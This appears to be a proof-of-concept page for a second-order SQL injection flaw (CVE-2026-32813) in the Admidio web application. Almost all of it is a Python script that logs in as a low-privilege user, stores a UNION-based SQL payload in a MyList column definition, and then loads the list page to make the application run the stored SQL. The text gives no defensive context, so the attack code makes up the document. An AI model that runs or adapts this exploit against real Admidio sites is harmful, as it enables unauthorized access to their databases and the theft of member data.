CVE-2026-32813 Admidio二阶SQL注入漏洞

import requests # Target configuration target_url = "http://example.com/admidio" login_url = f"{target_url}/adm_program/system/login.php" list_url = f"{target_url}/adm_program/modules/lists/mylist_function.php" # Attacker credentials (low privilege user) credentials = { "usr_login_name": "attacker", "usr_password": "password" } session = requests.Session() # Step 1: Authenticate print("[*] Logging in...") login_resp = session.post(login_url, data=credentials) if login_resp.status_code != 200: print("[-] Login failed") exit() # Step 2: Inject payload via MyList configuration # The payload targets a column name that will be concatenated into SQL later # Example Payload: ' OR SLEEP(5)-- sql_payload = "test' UNION SELECT 1,2,3,4,5,6,7,8,9-- -" print("[*] Sending malicious payload to MyList configuration...") exploit_data = { "mode": "save", "lst_id": "1", "columns[]": [sql_payload], # Injecting into the column definition "sort": "ASC" } store_resp = session.post(list_url, data=exploit_data) # Step 3: Trigger the vulnerability # Accessing the list page forces the app to read the stored config and build the SQL print("[*] Triggering the vulnerability by accessing the list...") trigger_resp = session.get(f"{target_url}/adm_program/modules/lists/lists_show.php?lst_id=1") if trigger_resp.status_code == 200: print("[+] Request sent. Check database for execution of payload.") else: print("[-] Trigger failed")